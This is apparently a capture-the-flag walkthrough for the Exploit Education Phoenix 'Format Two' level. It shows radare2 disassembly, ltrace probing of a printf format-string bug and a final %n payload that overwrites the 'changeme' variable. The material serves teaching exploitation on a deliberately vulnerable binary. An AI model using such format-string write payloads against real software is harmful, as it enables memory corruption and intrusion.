Exploit Education Phoenix x86 Format Two
#Table of Contents
#Introduction
Format Two is the continuation of the format string vulnerability challenges.
#Recon
$ r2 /opt/phoenix/i486/format-two
[0x08048380]> aas
Cannot analyze at 0x08048620
[0x08048380]> afl
0x080482fc 1 17 sym._init
0x080484d0 7 277 -> 112 sym.frame_dummy
0x080485e0 5 49 sym.__do_global_ctors_aux
0x08048611 1 12 sym._fini
0x08048450 8 113 -> 111 sym.__do_global_dtors_aux
0x08048114 44 524 -> 608 sym..interp
0x08048380 1 62 entry0
0x08048370 1 6 sym.imp.__libc_start_main
0x080486c4 1 14 loc.__GNU_EH_FRAME_HDR
0x080486e8 3 34 sym..eh_frame
0x08048724 1 10 obj.__EH_FRAME_BEGIN
0x080483c0 4 49 -> 40 sym.deregister_tm_clones
0x0804876c 1 4 obj.__FRAME_END
0x0804852c 6 172 main
0x08048515 1 23 sym.bounce
0x08048320 1 6 sym.imp.printf
0x08048330 1 6 sym.imp.puts
0x08048340 1 6 sym.imp.strncpy
0x08048350 1 6 sym.imp.memset
0x08048360 1 6 sym.imp.exit
[0x08048380]> s main
[0x0804852c]> pdf
/ (fcn) main 172
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_108h @ ebp-0x108
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x80483b4
| 0x0804852c 8d4c2404 lea ecx, [arg_4h]
| 0x08048530 83e4f0 and esp, 0xfffffff0
| 0x08048533 ff71fc push dword [ecx - 4]
| 0x08048536 55 push ebp
| 0x08048537 89e5 mov ebp, esp
| 0x08048539 53 push ebx
| 0x0804853a 51 push ecx
| 0x0804853b 81ec00010000 sub esp, 0x100
| 0x08048541 89cb mov ebx, ecx
| 0x08048543 83ec0c sub esp, 0xc
| 0x08048546 6820860408 push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education ; sym..rodata
| ; 0x8048620 ; "Welcome to phoenix/format-two, brought to you by https://exploit.education"
| 0x0804854b e8e0fdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048550 83c410 add esp, 0x10
| 0x08048553 833b01 cmp dword [ebx], 1
| ,=< 0x08048556 7e4b jle 0x80485a3
| | 0x08048558 83ec04 sub esp, 4
| | 0x0804855b 6800010000 push 0x100 ; 256
| | 0x08048560 6a00 push 0
| | 0x08048562 8d85f8feffff lea eax, [var_108h]
| | 0x08048568 50 push eax
| | 0x08048569 e8e2fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| | 0x0804856e 83c410 add esp, 0x10
| | 0x08048571 8b4304 mov eax, dword [ebx + 4]
| | 0x08048574 83c004 add eax, 4
| | 0x08048577 8b00 mov eax, dword [eax]
| | 0x08048579 83ec04 sub esp, 4
| | 0x0804857c 6800010000 push 0x100 ; 256
| | 0x08048581 50 push eax
| | 0x08048582 8d85f8feffff lea eax, [var_108h]
| | 0x08048588 50 push eax
| | 0x08048589 e8b2fdffff call sym.imp.strncpy ; char *strncpy(char *dest, const char *src, size_t n)
| | 0x0804858e 83c410 add esp, 0x10
| | 0x08048591 83ec0c sub esp, 0xc
| | 0x08048594 8d85f8feffff lea eax, [var_108h]
| | 0x0804859a 50 push eax
| | 0x0804859b e875ffffff call sym.bounce
| | 0x080485a0 83c410 add esp, 0x10
| `-> 0x080485a3 a168980408 mov eax, dword [obj.changeme] ; [0x8049868:4]=0
| 0x080485a8 85c0 test eax, eax
| ,=< 0x080485aa 7412 je 0x80485be
| | 0x080485ac 83ec0c sub esp, 0xc
| | 0x080485af 686c860408 push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x804866c ; "Well done, the 'changeme' variable has been changed correctly!"
| | 0x080485b4 e877fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x080485b9 83c410 add esp, 0x10
| ,==< 0x080485bc eb10 jmp 0x80485ce
| |`-> 0x080485be 83ec0c sub esp, 0xc
| | 0x080485c1 68ab860408 push str.Better_luck_next_time ; 0x80486ab ; "Better luck next time!\n"
| | 0x080485c6 e865fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x080485cb 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x80485bc
| `--> 0x080485ce 83ec0c sub esp, 0xc
| 0x080485d1 6a00 push 0
\ 0x080485d3 e888fdffff call sym.imp.exit ; void exit(int status)
[0x0804852c]> agf
[0x0804852c]> # int main (int argc, char **argv, char **envp);
.----------------------------------------------------------------------------------------.
| 0x804852c |
| (fcn) main 172 |
| int main (int argc, char **argv, char **envp); |
| ; var int32_t var_108h @ ebp-0x108 |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x80483b4 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ebx |
| push ecx |
| sub esp, 0x100 |
| mov ebx, ecx |
| sub esp, 0xc |
| ; sym..rodata |
| ; 0x8048620 |
| ; "Welcome to phoenix/format-two, brought to you by https://exploit.education" |
| push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education |
| ; int puts(const char *s) |
| call sym.imp.puts;[oa] |
| add esp, 0x10 |
| cmp dword [ebx], 1 |
| jle 0x80485a3 |
`----------------------------------------------------------------------------------------'
f t
| |
| '---------------------------------------------------.
.---' |
.---------------------------------------------------------. |
| 0x8048558 | |
| sub esp, 4 | |
| ; 256 | |
| push 0x100 | |
| push 0 | |
| lea eax, [var_108h] | |
| push eax | |
| ; void *memset(void *s, int c, size_t n) | |
| call sym.imp.memset;[ob] | |
| add esp, 0x10 | |
| mov eax, dword [ebx + 4] | |
| add eax, 4 | |
| mov eax, dword [eax] | |
| sub esp, 4 | |
| ; 256 | |
| push 0x100 | |
| push eax | |
| lea eax, [var_108h] | |
| push eax | |
| ; char *strncpy(char *dest, const char *src, size_t n) | |
| call sym.imp.strncpy;[oc] | |
| add esp, 0x10 | |
| sub esp, 0xc | |
| lea eax, [var_108h] | |
| push eax | |
| call sym.bounce;[od] | |
| add esp, 0x10 | |
`---------------------------------------------------------' |
v |
| |
'----------------------------. |
| .--------------------------'
| |
.----------------------------------.
| 0x80485a3 |
| ; [0x8049868:4]=0 |
| mov eax, dword [obj.changeme] |
| test eax, eax |
| je 0x80485be |
`----------------------------------'
f t
| |
| '-----------------------.
.-----------------------------------------------------' |
| |
.---------------------------------------------------------------------------. .-----------------------------------.
| 0x80485ac | | 0x80485be |
| sub esp, 0xc | | sub esp, 0xc |
| ; 0x804866c | | ; 0x80486ab |
| ; "Well done, the 'changeme' variable has been changed correctly!" | | ; "Better luck next time!\n" |
| push str.Well_done__the__changeme__variable_has_been_changed_correctly | | push str.Better_luck_next_time |
| ; int puts(const char *s) | | ; int puts(const char *s) |
| call sym.imp.puts;[oa] | | call sym.imp.puts;[oa] |
| add esp, 0x10 | | add esp, 0x10 |
| jmp 0x80485ce | `-----------------------------------'
`---------------------------------------------------------------------------' v
v |
| |
'---------------------------------------------------. |
| .-------------------------'
| |
.-----------------------------------.
| 0x80485ce |
| ; CODE XREF from main @ 0x80485bc |
| sub esp, 0xc |
| push 0 |
| ; void exit(int status) |
| call sym.imp.exit;[oe] |
`-----------------------------------'
[0x0804852c]> pdf @ sym.bounce
/ (fcn) sym.bounce 23
| sym.bounce (int32_t arg_8h);
| ; arg int32_t arg_8h @ ebp+0x8
| ; CALL XREF from main @ 0x804859b
| 0x08048515 55 push ebp
| 0x08048516 89e5 mov ebp, esp
| 0x08048518 83ec08 sub esp, 8
| 0x0804851b 83ec0c sub esp, 0xc
| 0x0804851e ff7508 push dword [arg_8h]
| 0x08048521 e8fafdffff call sym.imp.printf ; int printf(const char *format)
| 0x08048526 83c410 add esp, 0x10
| 0x08048529 90 nop
| 0x0804852a c9 leave
\ 0x0804852b c3 ret
There are a few things to break down:
- The binary needs an argument.
- The argument is copied into a buffer, which is set to zero beforehand.
- There is a call to
sym.bounce
, which simply callsprintf
with the buffer as a format string. - The objective is to overwrite the variable
obj.changeme
with an arbitrary value.
#Exploit
Due to the simplicity of this level, ltrace
should offer enough help to exploit this vulnerability.
The methodology is as follows:
- Execute the binary with
ltrace
and as an argument write 4 bytes (e.g.AAAA
) followed by one%x
. - If the 4 bytes that were written firstly are shown in the output, stop.
- Otherwise, append another
%x
. - Repeat from step two.
$ ltrace /opt/phoenix/i486/format-two AAAA%x
__libc_start_main(0x804852c, 2, 0xffdb3ea4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
) = 0
memset(0xffdb3d10, '\0', 256) = 0xffdb3d10
strncpy(0xffdb3d10, "AAAA%x", 256) = 0xffdb3d10
printf("AAAA%x", 0xffdb463b) = 12
puts("Better luck next time!\n"AAAAffdb463bBetter luck next time!
) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
$ ltrace /opt/phoenix/i486/format-two AAAA%x%x
__libc_start_main(0x804852c, 2, 0xff943e84, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
) = 0
memset(0xff943cf0, '\0', 256) = 0xff943cf0
strncpy(0xff943cf0, "AAAA%x%x", 256) = 0xff943cf0
printf("AAAA%x%x", 0xff944639, 0x100) = 15
puts("Better luck next time!\n"AAAAff944639100Better luck next time!
) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Skipping to the result:
$ ltrace /opt/phoenix/i486/format-two AAAA%x%x%x%x%x%x%x%x%x%x%x%x
__libc_start_main(0x804852c, 2, 0xffc11ff4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
) = 0
memset(0xffc11e60, '\0', 256) = 0xffc11e60
strncpy(0xffc11e60, "AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 256) = 0xffc11e60
printf("AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 0xffc13625, 0x100, 0, 0xf7ee6b67, 0xffc11f80, 0xffc11f68, 0x80485a0, 0xffc11e60, 0xffc13625, 0x100, 0x3e8, 0x41414141) = 77
puts("Better luck next time!\n"AAAAffc136251000f7ee6b67ffc11f80ffc11f6880485a0ffc11e60ffc136251003e841414141Better luck next time!
) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Note the last 4 bytes at the line that starts with printf
.
Afterwards, the first 4 bytes are replaced with the address of obj.changeme
, the last %x
is replaced with %n
and the one before that is replaced with %8x
. In order to write 4 bytes the %x
specifier must be %8x
, which will pad the output of %x
to 8 characters (i.e. 4 bytes).
The address of obj.changeme
can be obtained as follows:
[0x08048380]> px/xw @ obj.changeme
0x08049868 0x00000000 ....
Debugging the binary with the final exploit:
$ r2 -d /opt/phoenix/i486/format-two $(printf "\x68\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%8x%n
[0xf7f56d4b]> aas
Cannot analyze at 0x08048620
[0xf7f56d4b]> db 0x0804859b
[0xf7f56d4b]> dc
Welcome to phoenix/format-two, brought to you by https://exploit.education
hit breakpoint at: 804859b
[0x0804859b]> dr
eax = 0xff84fb90
ebx = 0xff84fcb0
ecx = 0x00000000
edx = 0x00000003
esi = 0xff84fd24
edi = 0x00000002
esp = 0xff84fb80
ebp = 0xff84fc98
eip = 0x0804859b
eflags = 0x00000296
oeax = 0xffffffff
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80 0xff84fb90 0xff8505f1 0x00000100 0x000003e8 ................
0xff84fb90 0x08049868 0x78257825 0x78257825 0x78257825 h...%x%x%x%x%x%x
0xff84fba0 0x78257825 0x78257825 0x25783825 0x0000006e %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868 0x00000000 ....
[0x0804859b]> dso
hit breakpoint at: 80485a0
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80 0xff84fb90 0xff8505f1 0x00000100 0x000003e8 ................
0xff84fb90 0x08049868 0x78257825 0x78257825 0x78257825 h...%x%x%x%x%x%x
0xff84fba0 0x78257825 0x78257825 0x25783825 0x0000006e %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868 0x0000004a J...
[0x0804859b]> dc
hff8505f11000f7f15b67ff84fcb0ff84fc9880485a0ff84fb90ff8505f1100 3e8Well done, the 'changeme' variable has been changed correctly!
#Conclusion
This level required the attacker to exploit a format string vulnerability to overwrite a specific variable with an arbitrary value.